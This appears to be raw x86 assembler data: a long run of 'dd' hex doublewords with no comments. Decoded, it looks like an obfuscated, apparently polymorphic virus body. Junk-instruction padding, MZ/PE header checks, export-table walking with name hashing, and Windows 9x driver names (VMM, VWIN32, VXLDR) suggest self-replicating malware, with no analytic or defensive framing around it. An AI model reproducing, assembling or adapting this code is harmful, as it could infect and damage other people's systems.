dd 8932C424h, 0FA06ED95h, 0AE99007h, 58000000h, 0A090F23h dd 879237ADh, 66605090h, 6143F3BAh, 10E990h, 748E0000h dd 0BDF2E84Fh, 9AB52A75h, 0ED5A6E3Ah, 448BA3DFh, 6A2824h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h dd 7461DFC3h, 0CED81118h, 666090F3h, 8B0FCE8Bh, 0Eh, 8E8h dd 0C93E9900h, 2ECE2D9Dh, 50615F8Eh, 68B0Fh, 60600000h dd 61616061h, 0BE990h, 6F470000h, 40ABA8F6h, 4DED302Fh dd 0FF858DABh, 6A07FD72h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 15042444h, 41000000h, 174EC351h, 0ACBB6060h dd 667232F2h, 8061D68Bh, 896146C1h, 0FA020DBDh, 6AD0FF07h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 19042444h dd 46000000h, 0FB6EC356h, 0E2BE23F9h, 17F1BD29h, 6A9607FAh dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 18042444h dd 46000000h, 411C356h, 1ABC904h, 0FA3139BDh, 24740307h dd 57006A24h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h dd 0C3574700h, 0FE5EA07Eh, 0FBB2606Eh, 61958961h, 8D07FA1Fh dd 0FA0F71BDh, 0BE907h, 0CAFD0000h, 3DDDD60Fh, 0E3C92CB4h dd 98D0995h, 0AD07FA01h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 16h, 0EEC35646h, 5E90A26h, 0EC000000h, 0EA54704Fh dd 0CE98D29h, 7C8107FAh, 2424h, 870F1000h, 0E9h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 14h, 66C35040h, 68A0Fh dd 8D890000h, 7FA0015h, 7E950h, 0F7130000h, 0D62C0B5Eh dd 2404896Ch, 24448BFCh, 52006A28h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1B04h, 0C3524200h, 9FC2B851h, 25527A09h dd 49BB6050h, 0E904D4EFh, 0Ch, 0BC41C3D0h, 0A859BC8Dh dd 2C997174h, 24048961h, 23198D31h, 858D07FAh, 7FD72FFh dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 0C0C35545h dd 0C03D11D7h, 0EA6E8A53h, 0D0FFF506h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Dh, 28C35646h, 0EC737686h, 3ECB12B0h dd 0E860F0Bh, 60000000h, 8A0Fh, 8D890000h, 7FA16F5h dd 24440361h, 399D3124h, 0AB07FA2Ch, 28A0F60h, 8B000000h dd 0FE8D0h, 0E5FB0000h, 0B5BE2C33h, 588B3BD6h, 44374F89h dd 13E8F5h, 0C68D0000h, 5BE1FAE9h, 0C889EB88h, 9335F770h dd 0A5D607C6h, 615E5818h, 0FA81h, 820F0001h, 856h, 6870Fh dd 85890000h, 7FA2829h, 275DBD8Dh, 6A07FAh, 3E850h, 58200000h dd 448958C3h, 44810424h, 1C0424h, 50400000h, 67AAD6C3h dd 0BB62964h, 95897944h, 7FA316Dh, 52006AADh, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1D04h, 0C3524200h, 6BB97AE6h dd 7E41753Ah, 8589B119h, 7FA2949h, 0D0F08160h, 0F04ECBDh dd 288h, 616EB100h, 24247C81h, 10000000h, 0E8870Fh, 6A0000h dd 3E850h, 58200000h, 448958C3h, 44810424h, 170424h, 50400000h dd 54A250C3h, 98D891Ch, 5007FA15h, 128F0Fh, 52500000h dd 310F5250h, 310F585Ah, 8D0Fh, 585A0000h, 60240489h, 20EDBD0Bh dd 8B6107FAh, 6A282444h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 15042444h, 43000000h, 4803C353h, 27ED8D09h dd 505007FAh, 0DE952h, 0DB410000h, 0A7C8E699h, 32943FFAh dd 0F15FF7Bh, 2800F31h, 60000000h, 89585A61h, 6A2404h dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h dd 24650DC3h, 72FF858Dh, 0FFF807FDh, 51006AD0h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1704h, 0C3514100h, 0FCF2A1FAh dd 8E9h, 346E2C00h, 9976BCF4h, 4403FCEBh, 6A2424h, 3E850h dd 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h dd 7349FFC3h, 9793F4A9h, 60BFE945h, 231DBD8Bh, 0B58907FAh dd 7FA10A1h, 0DE99061h, 83000000h, 147BD130h, 853425DCh dd 84A50AF1h, 12860F50h, 60000000h, 3E83B866h, 6E8h, 514CA800h dd 5B43F36Dh, 0ABFC9061h, 23F5B531h, 0BD8D07FAh, 7FA27D5h dd 0BE960h, 0B3310000h, 1589CE0Eh, 0C4176339h, 0F1B58987h dd 6107FA0Ch, 0F9B589ADh, 8107FA27h, 28247Ch, 0F100000h dd 14787h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1B04h, 0C3564600h, 0BE071E60h, 67B9CEFEh, 0D98B6050h dd 89610CB3h, 6A2404h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 140424h, 52420000h, 89F50CC3h, 0FA29B1B5h, 24448B07h dd 57006A2Ch, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h dd 0C3574700h, 810F233Fh, 0Ch, 6870Fh, 85890000h, 7FA0BE1h dd 14819D89h, 505007FAh, 50525052h, 5A310F52h, 0E9310F58h dd 9, 0D1878980h, 0F15DED00h, 0F585AF2h, 60525031h, 0E9310F61h dd 13h, 61BD4696h, 15AD506Ah, 6D446F45h, 43A3F628h, 5AE0F735h dd 89585A58h, 6A2404h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 170424h, 55450000h, 352F2BC3h, 0B523603Bh, 7FA29E5h dd 1BE1BD8Bh, 8D6107FAh, 0FD72FF85h, 0EE907h, 0A99B0000h dd 0A4AD790Ch, 0C272D4D6h, 4E341821h, 6AD0FFh, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h dd 99B6F7C3h, 0C8E0FABh, 0E9000000h, 7, 0C1164CFh, 0F5B7C0C1h dd 28244403h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Ch, 21C35545h, 0E95150BEh, 1C26E8C3h, 0DE9h, 42515B00h dd 0E395A8B0h, 0B9534581h, 0ABF93572h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Ch, 75C35545h, 8BD1A0F7h, 996B760Eh dd 18890Fh, 13E90000h, 8A000000h, 0CCF348DBh, 0FDE3F1FCh dd 749BFE55h, 5793B41Ah, 0FF5E6C5Ch, 0FDA3B18Dh, 0B1BD8307h dd 7FDA3h, 0C0330A75h, 0B3B5B58Dh, 0E6FF07FDh, 7C81AD56h dd 2824h, 0E771000h, 24448B50h, 858D502Ch, 7FD72FFh, 4403D0FFh dd 8B972824h, 0AD858ADFh, 8407FDA3h, 3A0474C0h, 574C7507h dd 75AEC032h, 0FB2B5EFDh, 0C933FC52h, 33D18B49h, 0ACDB33C0h dd 0CD8AC132h, 0D68AEA8Ah, 0D16608B6h, 0D8D166EBh, 35660973h dd 81665041h, 0FE5449F3h, 33EB75CEh, 4FD333C8h, 0D2F7D575h dd 0C28BD1F7h, 6610C0C1h, 3B5AC18Bh, 5E0F74D0h, 0FF04C683h dd 0FA154D85h, 0FF5DE907h, 0E95EFFFFh, 14h, 0ED27A852h dd 0CAD85D2Ah, 2973C91Ch, 0C61495BBh, 9BEEDF42h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 14h, 0AFC35040h, 0E5C68160h dd 91198EDh, 0FA0E8D8Dh, 29606107h, 0FA2D4595h, 10E907h dd 12B40000h, 81B91087h, 431F5343h, 0F38B24D1h, 8B615F21h dd 0FA154D85h, 55006A07h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1404h, 0C3554500h, 0BF0F60EEh, 0FE8F6h, 58E0000h dd 429BDC42h, 36BE0F22h, 0C819B733h, 159D89E0h, 5B07FA0Bh dd 6AE0D161h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 15042444h, 43000000h, 8143C353h, 27D58503h, 852907FAh dd 7FA0A71h, 14E9h, 1C4D4400h, 0DA477B9Ah, 9D5E314Bh, 3EDF125Ch dd 7E7AED37h, 60F62B9Ch, 6175CF80h, 55006A96h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1A04h, 0C3554500h, 0A27B9719h dd 296B11DDh, 0FA1C6185h, 12E907h, 11540000h, 0BED63E1Ch dd 84C446BFh, 6060F13Bh, 1E63CAF9h, 6AAD66h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 160424h, 57470000h, 6E0D71C3h dd 59D0160h, 3307FA26h, 0FA0A699Dh, 0E0C16107h, 50006A02h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h, 0C3504000h dd 3ADBCCE0h, 5E9C5h, 2A7E0000h, 0FCE5F80h, 888h, 2870F00h dd 60000000h, 71850361h, 0F907FA0Fh, 15840F96h, 0E9000000h dd 10h, 2ED4E2EBh, 6A3BC7B4h, 4B5EB7F2h, 54FEA495h, 7C81F5ADh dd 2424h, 870F1000h, 15Eh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 18h, 7EC35141h, 0F6C85FAAh, 525090F8h, 11E9h dd 0A6CE1500h, 0E84DD8h, 16E60F5Ah, 0F1DE1F38h, 310FEE0Dh dd 28B0Fh, 61600000h, 0E950585Ah, 14h, 9804750Fh, 0D07FA7B3h dd 0EBBDE01Bh, 0C9FB1E6Ch, 5E581A90h, 52006A90h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h dd 36B301Dh, 8A086D24h, 896060FCh, 0FA0F459Dh, 12E907h dd 9EA90000h, 0FC94113Ch, 0C59F6EF9h, 0E7AA5693h, 7B7A9895h dd 0D8B70F61h, 24448B61h, 0BF0F6028h, 0C18166DFh, 90612D2Ah dd 8E0F5250h, 6, 310F5250h, 310F585Ah, 108B0Fh, 0BE90000h dd 81000000h, 67EEF362h, 7663E2A8h, 585AE376h, 0D880F50h dd 0E9000000h, 8, 5D6186ADh, 6359D99Dh, 56006A90h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h dd 0B589C578h, 7FA349Dh, 72FF858Dh, 6A07FDh, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 140424h, 56460000h, 11E9E2C3h dd 1C000000h, 150450CBh, 9A9B9456h, 61081AA0h, 8F054DCFh dd 9D89D0FFh, 7FA06A9h, 20199589h, 440307FAh, 66602424h dd 8B0177BAh, 0FA1BC9BDh, 44896107h dd 6A1C24h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h dd 57470000h, 5296D2C3h, 6425709h, 893C7E1Ah, 0FA257595h dd 6585C607h, 7FA06h, 0A54D85C7h, 7FDh, 85C70000h, 7FDA3B5h dd 0 dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 5EC35343h dd 0D5438399h, 0F954D275h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Bh, 5FC35242h, 3281A6B9h, 8942C0C6h, 0FA291195h dd 2961F507h, 0FA1CB985h, 8C207h, 28FD9589h, 858B07FAh dd 7FA0F71h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 15h, 0ACC35141h, 5E9D9h, 0E22A0000h, 4A19F89Dh, 9E9h dd 5CF7D100h, 4B38A20Ch, 0D26B71DFh, 0C203F904h, 16618531h dd 6A9607FAh, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 14042444h, 41000000h, 60AEC351h, 0E8EEE881h, 0F78179EEh dd 3562B174h, 6AAD61h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1A0424h, 50400000h, 331288C3h, 88F68F53h, 6A19589h dd 7C8107FAh, 2424h, 870F1000h, 100h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 14h, 49C35141h, 0ED19531h, 850907FAh dd 7FA08CDh, 0F525050h, 680h, 0F525000h, 0F585A31h, 28C0F31h dd 60000000h, 89585A61h, 6A2404h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1B0424h, 53430000h, 9DA013C3h, 790434BEh dd 6880FF5h, 89000000h, 0FA0FAD9Dh, 24448B07h, 598D3128h dd 5007FA23h, 13E9h, 9259F600h, 0F62A3C69h, 33DA9F3Dh dd 0CD8C6B9Bh, 0E4BDDB25h, 6A240489h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 417C357h dd 0FF858DFCh, 6A07FD72h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1B042444h, 40000000h, 0FC2DC350h, 0EA309640h dd 0BD8907E8h, 7FA0B15h, 11E9D0FFh, 62000000h, 284ABAE0h dd 3DE9E3BDh, 8D3138A8h, 166B355Fh, 0FFFD99E9h, 57006AFFh dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1904h, 0C3574700h dd 0AA5B9B83h, 850F5F8Ah, 10h, 0BE9h, 0E92E4300h, 0D7807252h dd 0A1E670D1h, 0B959858Dh, 890F07FDh, 7, 1870Fh, 50F90000h dd 0E8605250h, 0Ah, 0F58D17A2h, 51D85A4Bh, 0BE5ACD21h dd 4A50368Dh, 60310F61h, 525077B2h, 585A310Fh, 89585A61h dd 6A2404h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h dd 51410000h, 6660E3C3h, 8104FABAh, 0A49FAED2h, 9D89610Fh dd 7FA34C9h, 35FF64h, 0F000000h, 0C87h, 68D0F00h, 89000000h dd 0FA0E658Dh, 0C1BD0107h, 8B07FA0Eh, 89F92404h, 0FA0E9185h dd 55006A07h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1604h dd 0C3554500h, 0F53A2AF8h, 258964h, 6A000000h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h dd 0A2D2C355h, 0F09435CEh, 898AB260h, 0FA0F9DBDh, 858D6107h dd 7FDB780h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Bh, 0F1C35747h, 1DF5B4Eh, 8934611Fh, 0FA202D9Dh, 1608907h dd 2D858589h, 20E907FAh, 31000002h, 0FA10BD8Dh, 79852907h dd 8B07FA0Ah, 0E8DBh, 815D0000h, 0FDB779EDh, 0FF9CBC07h dd 0BD830012h, 7FA2C05h, 8B187400h, 0FA161585h, 0C607h dd 17D1858Bh, 0C607FAh, 0BD95FF00h, 6007FA0Eh, 9FB9B5FFh dd 858D07FDh, 7FD9FBDh, 0B5858D50h, 5007FDA1h, 0DC595FFh dd 0C48307FAh, 6A610Ch, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 150424h, 56460000h, 60C0D3C3h, 2880Fh, 61600000h, 5830Fh dd 81660000h, 61FF2DF7h, 0AE9h, 6238A300h, 0B08CE0C4h dd 6ADD55F2h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 16042444h, 41000000h, 7CD4C351h, 0AE94Eh, 271B0000h dd 124FBEE6h, 0CC5CB780h, 0A1B5B58Dh, 16007FDh, 0FA1F099Dh dd 0C38B6607h, 11BD8D61h, 6A07FA03h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 1B73C352h dd 5B6F6265h, 798D2960h, 0B807FA2Ch, 65E441D4h, 3E8061h dd 47840Fh, 0E8600000h, 0Eh, 0F12EFB45h, 9387ABFDh, 2259E618h dd 0B8662834h, 665B6722h, 0A203E681h, 9E9A461h, 9B000000h dd 1876FDCAh, 0E8E54E73h, 0FFFFC4E9h, 19B589FFh, 6007FA2Eh dd 0FF0B70Fh, 380h, 0C6BF0F00h, 0FC02B61h, 0C87h, 6860F00h dd 9000000h, 0FA0F69BDh, 8E0FAA07h, 6, 30BDB501h, 7B807FAh dd 6A000000h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 16042444h, 45000000h, 0BCC5C355h, 6E951h, 0F7DF0000h dd 81D6CB0Ah, 0D85C7h, 107FAh, 0BD290000h, 7FA0B4Dh, 4F668D8Dh dd 6A07FAh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h dd 51410000h, 899753C3h, 0FA2BF5B5h, 0F8E1FF07h, 15658D31h dd 5C8B07FAh, 0E8550C24h, 0 dd 63ED815Dh, 8B07FDB9h, 0B883h, 0B9858900h, 8D07FD9Fh dd 0FDB77285h, 0B8838907h, 5D000000h, 0FC3C033h, 0C80h dd 68F0F00h, 89000000h, 0FA00558Dh, 53006A07h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1404h, 0C3534300h, 359589FAh dd 6007FA2Fh, 66D78B60h, 8D61F08Bh, 0FDBB7E85h, 51006A07h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h, 0C3514100h dd 4154294h, 90F8CD38h, 0D88B6660h, 10E9h, 0FA481C00h dd 0A382257Ah, 95E2B26Fh, 5BCD9275h, 0F5061D4h, 188Dh dd 60525000h, 0E9310F61h, 0Bh, 0DEBF06A1h, 0EDB29091h dd 5A051AC7h, 8E99058h, 4C000000h, 1B05D1B2h, 64118387h dd 35FFh, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h dd 170424h, 50400000h, 0EA8B5DC3h, 258964B1h, 0 dd 2F018509h, 858907FAh, 7FA2A39h, 0BBDC858Dh, 6A07FDh dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h dd 61DE4FC3h, 16089F9h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 18h, 20C35242h, 0CE2A4426h, 5AF95160h, 890F57h dd 59000000h, 0C810F61h, 0F000000h, 68Fh, 0E5BD8900h, 0F07FA1Ch dd 682h, 41BD2900h, 0C607FA2Fh, 0FA066585h, 11E94F07h dd 23000000h, 40DC4163h, 0B2DDDD36h, 82AB5278h, 3BF1C4F9h dd 38514068h, 14E9DAh, 12E80000h, 503ADC53h, 21215D1Dh dd 0B806503Dh, 0D23AF621h, 3481ADD3h, 0F0256A24h, 49BD8924h dd 0FF07FA17h, 0FA2095B5h, 75BD0107h, 8D07FA1Fh, 0FDA3DD85h dd 0B5852907h, 0FF07FA2Dh, 50006AD0h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1A04h, 0C3504000h, 0C6C249FCh dd 0E952F8D0h, 75h, 0D88B6660h, 2F618589h, 0F6107FAh, 68Fh dd 0D19D8900h, 8B07FA23h, 550C245Ch, 0E8h, 0ED815D00h dd 7FDBB88h, 8A5858Bh, 858907FAh, 7FA2095h, 515858Bh, 858907FAh dd 7FA2279h, 0AF5858Bh, 858907FAh, 7FA1F35h, 66585C6h dd 0C70007FAh, 0FDA54D85h, 7, 0DC858D00h, 8907FDBBh, 0B883h dd 0C0335D00h, 0B529F8C3h, 7FA0B61h, 0FF74BCF8h, 0B5290012h dd 7FA1BE5h, 58F64h, 6A000000h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 17042444h, 41000000h, 7B62C351h, 8589094Fh dd 7FA2FA9h, 6A04C483h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1D042444h, 43000000h, 0CE0EC353h, 63391589h dd 0A287C417h, 0FE861h, 4CE50000h, 1FE4AB1Ch, 80185DEAh dd 976CD27Dh, 589ABBF4h, 0BB5F56D3h, 73EF78E4h, 6A2AC781h dd 81660000h, 0B97D18DBh, 0 dd 35952951h, 5B07FA0Dh, 33934FFh, 0FA296DB5h, 81665807h dd 81499FDEh, 8347F2C0h, 29B5892Ch, 8107FA1Eh, 0DCBE71F0h dd 10E94Dh, 0FFC60000h, 0D03891B6h, 0A182437Ah, 8C8A392Ah dd 0E881E922h, 5ACA43AFh, 198E0Fh, 14E90000h, 0AB000000h dd 15CD7CA9h, 0A058FC65h, 7163D328h, 67024F2Eh, 50D9098Ch dd 6810F57h, 8B000000h, 0FA0B3D95h, 48F5E07h, 0E9F28B0Fh dd 5, 8BF7161Fh, 1E983C4h, 0D219589h, 494907FAh, 35BE6649h dd 0CCF9813Ah, 0FFFFF96h, 1685h, 0D6B70F00h, 2BE9h, 3BF1C400h dd 7B1918ECh, 0B5DEBB9Ch, 8B6376F6h, 0FA2B91B5h, 0FF4AE907h dd 0C4E1FFFFh, 7E474F19h, 8A3715C7h, 784C015Ah, 0EC8FA9DCh dd 464934EBh, 52474D53h, 4B562020h, 20202044h, 4D562020h dd 2020204Dh, 57562020h, 32334E49h, 58562020h, 52444C44h dd 2020h, 2 dup(0) dd 0A2E90000h, 60000007h, 4BDAE881h, 606146EAh, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 34C35747h, 0E96AE2D9h dd 6, 2FDF8948h, 85C7C299h, 7FDBD65h, 0 dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 1CC35343h dd 60604F95h, 12E8h, 50CE1700h, 0F8C0DCC1h, 3EB89D22h dd 6F128CDAh, 5F0545CBh, 0E8615F52h, 0Ch, 531C94F1h, 51D40BA6h dd 90CE5725h, 0FE9h, 0B2037900h, 96AC0A2Eh, 0A6953D84h dd 6A967AD5h, 0C68B6159h, 11870Fh, 8C0F0000h, 0Bh, 6E9h dd 0B1AC3B00h, 0F9A78AAh, 6AD8B7h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1C0424h, 53430000h, 1B9CDBC3h, 7C4062DCh dd 6660AEBAh, 37ACF081h, 3850Fh, 0BF0F0000h, 0E8C161C8h dd 0BF0F6010h, 2B03BFC9h, 0F614F6Fh, 188h, 0C166FC00h dd 6A08C8h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h dd 57470000h, 0BEEB57C3h, 0DBA0217Ah, 9BBB6660h, 858961E3h dd 7FDBD69h, 0E6816660h, 8C0F672Ah, 0Eh, 8E8h, 0FA103200h dd 0C6C4F872h, 66615AF2h, 0F08CBC1h, 18Ah, 0FB83F500h dd 0AB850F40h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1C042444h, 45000000h, 493BC355h, 40EC2307h dd 6017AAA6h, 0EF8190B7h, 1B482C67h, 5E96061h, 0FF000000h dd 5C193340h, 12E8h, 50282700h, 6802569Bh, 8E7E71Ch, 7C75024h dd 8ABAA9C1h, 8D615BE2h, 0FDBD3DBDh, 53006A07h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1904h, 0C3534300h, 589156D8h dd 66600F9Fh, 0E953C78Bh, 0Bh, 0C7EE931Dh, 0AED87105h dd 5FD819E7h, 172E961h, 0E9600000h, 7, 81B91087h, 811F5343h dd 0BB960DE1h, 0FB836140h, 59850F0Dh, 0E9000000h, 14h dd 0C92E63DAh, 2374422Dh, 33FA330Bh, 0E2ACF63Bh, 0BA8D1ABFh dd 0BD45BD8Dh, 6A07FDh, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 150424h, 57470000h, 0E90753C3h, 12h, 0EE67762h, 723CD16Bh dd 5758D95Ah, 0A30D648Bh, 0FDE98DA0h, 0F5000000h, 0F01FB83h dd 5C85h, 0BD8DF800h, 7FDBD4Dh, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Dh, 0FAC35141h, 873B824Dh, 41C50563h dd 0C2E9AEh, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 160424h, 52420000h, 7FC4CFC3h, 7890Fh, 850F0000h, 1 dd 2AFB83F8h, 52850Fh, 8DFC0000h, 0FDBD55BDh, 11E907h dd 0B8440000h, 7CB8FB7Fh, 0C7719A72h, 316313EEh, 0E996D646h dd 6Ch, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h dd 9CC35040h, 870FDB98h, 0Ch, 6860Fh, 830F0000h, 0 dd 0F27FB83h, 30385h, 0B70F6000h, 810F61F2h, 1, 5DBD8DF8h dd 6A07FDBDh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 19042444h, 45000000h, 82B2C355h, 1755CCFAh, 0BD6DBD89h dd 6A07FDh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h dd 57470000h, 0F7EAAC3h, 1E80h, 9E86000h, 6E000000h, 5B9030BCh dd 9156D889h, 7E85Eh, 405D0000h, 126661E1h, 66615911h dd 24F5C88Ch, 55006A03h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1704h, 0C3554500h, 0A85FCA2Dh, 0FF08A60h, 283h, 61616000h dd 0FC00AFCh, 1CF85h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1A04h, 0C3524200h, 0DAA5C844h, 8DFA52A1h dd 0FDC420B5h, 858BFC07h, 7FDC4B9h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Ch, 42C35545h, 0CCA2D8C5h, 0FBCA611Dh dd 0E3816060h, 675C27D4h, 61D38B66h, 10E9h, 0C98B2A00h dd 0C8778480h, 71C17F1Eh, 2B0EA65Ch, 0F926128h, 1383h dd 0CE96000h, 0F6000000h, 64C426A0h, 459B75B4h, 615967D5h dd 14E950h, 67020000h, 0EDD9098Ch, 519D659Ch, 9A077ACCh dd 0A3AA0AF4h, 6A92FAD7h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1D042444h, 46000000h, 30B3C356h, 3798C8A1h dd 2CE81997h, 0DE860h, 0AC4E0000h, 0CD2F135Ah, 11AC9B96h dd 0FD8CB24h, 8Eh, 830F5E00h, 3, 61C38B66h, 1C840Fh, 0E9600000h dd 14h, 0CAD34110h, 12624605h, 697C6595h, 59132C76h, 56597255h dd 10F61FCh, 60FE244Ch, 61F38AF5h, 830FFC5Ah, 1, 24C283F8h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0A9C35646h dd 0F606E89h, 6E9F2BFh, 65000000h, 12047710h, 566061F7h dd 0C714F181h, 815A2DF3h, 543CEFC8h, 89666124h, 6AFC72h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h dd 9422F9C3h, 10CEC1F5h, 88D0Fh, 800F0000h, 2, 89666160h dd 0AE90272h, 0BF000000h, 17C28017h, 72F442ADh, 0F904CD22h dd 78E9h, 11850F00h, 0F000000h, 0B8Eh, 6E900h, 1340000h dd 7C53B266h, 0C4B9858Bh, 8DF807FDh, 0FDC420B5h, 7810F07h dd 60000000h, 0E5805957h, 858D6162h, 7FD7DE2h, 7890Fh dd 0F600000h, 0D98BF6BFh, 60D0FF61h, 17840Fh, 12E90000h dd 15000000h, 3C195325h, 4895177Ah, 5030FCFDh, 0C39D4F3h dd 0EE969h, 0B6D0000h, 9551E495h, 0C64727A2h, 46EB5FC3h dd 65858961h, 0F807FDBDh, 12850Fh, 0DE90000h, 33000000h dd 868EDDC1h, 6E154C0Ch, 0B9913903h, 7E9F561h, 33000000h dd 15FC50B3h, 858B709Eh, 7FDBD65h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Ah, 0A3C35343h, 0EA5501F5h, 0E960E8DBh dd 0Dh, 6D92D50Eh, 0B8ADEF6h, 44262098h, 6AC3612Ah, 3E85000h dd 20000000h, 8958C358h, 81042444h, 19042444h, 40000000h dd 0B1FFC350h, 0F7F5C19Bh, 890F60F5h, 13h, 0EE9h, 0BE0C1800h dd 0C3958815h, 64D7BDF4h, 83C4F2D9h, 0FDC4B9BDh, 850F0007h dd 44h, 13E9h, 0AAF61100h, 1B28B887h, 2CC01098h, 0E4250CB5h dd 0A4A134A1h, 0C4B985C7h, 13F07FDh, 6A0001h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1A0424h, 57470000h, 0C2063AC3h dd 79DE17EDh, 27E9h, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1D04h, 0C3514100h, 7AB1DC60h, 0BEA5A42Ah dd 0F8F8640Ch, 20CDh, 0C00B0000h, 708D3774h, 6DBD8B0Ch dd 0B907FDBDh, 8, 492275A6h, 488BFA75h, 699D8B30h, 3B07FDBDh dd 157F3458h, 0D26BD38Bh, 8BCA0304h, 65858901h, 0EB07FDBDh dd 0EB008B04h, 858B61C5h, 7FDBD65h, 8E0FFCCFh, 11h, 0CE9h dd 399DE00h, 73BA1B92h, 8DC33C50h, 0E9C08B49h, 83h, 56525153h dd 245C8B57h, 3B81661Ch, 850F5A4Dh, 68h, 3C43B70Fh, 8166D803h dd 0F45503Bh, 5785h, 785B8B00h, 1C245C03h, 324738Bh, 561C2474h dd 8B207B8Bh, 7C031C73h, 74032024h, 83FC2024h, 8B41FFC9h dd 8B1C245Ch, 24540317h, 4C78320h, 0C084028Ah, 33A0874h dd 4243E875h, 33AF2EBh, 0D15FE075h, 4B70FE1h, 86048B0Fh dd 1C244403h, 595A5E5Fh, 8C25Bh, 0F1E9C033h, 8BFFFFFFh dd 6E8CAh, 0C1880000h, 17856AA4h, 0E958DA8Bh, 0Bh, 0C4B8B37Bh dd 4131A406h, 81233362h, 67EBC0h, 7E900h, 8FAD0000h, 0B2FCB720h dd 19C4B9A1h, 880F0000h, 0Ch, 6850Fh, 820F0000h, 0 dd 0CF80108Bh, 0F8C281DEh, 0F4C676Bh, 0F281DFBFh, 8B481A0h dd 8870Fh, 880F0000h, 2, 0F2815B52h, 3F0D1108h, 0CE8h dd 0BAA9C100h, 84C31C9h, 0A28B1513h, 4810F0Dh, 66000000h dd 5F15C9BFh, 8D0F1089h, 4, 32C3BE66h, 0B304E883h, 1E9838Ah dd 17850Fh, 0F88A0000h, 38E9h, 0FBF09A00h, 0A81F72EBh dd 9325558Ah, 83B7CDB6h, 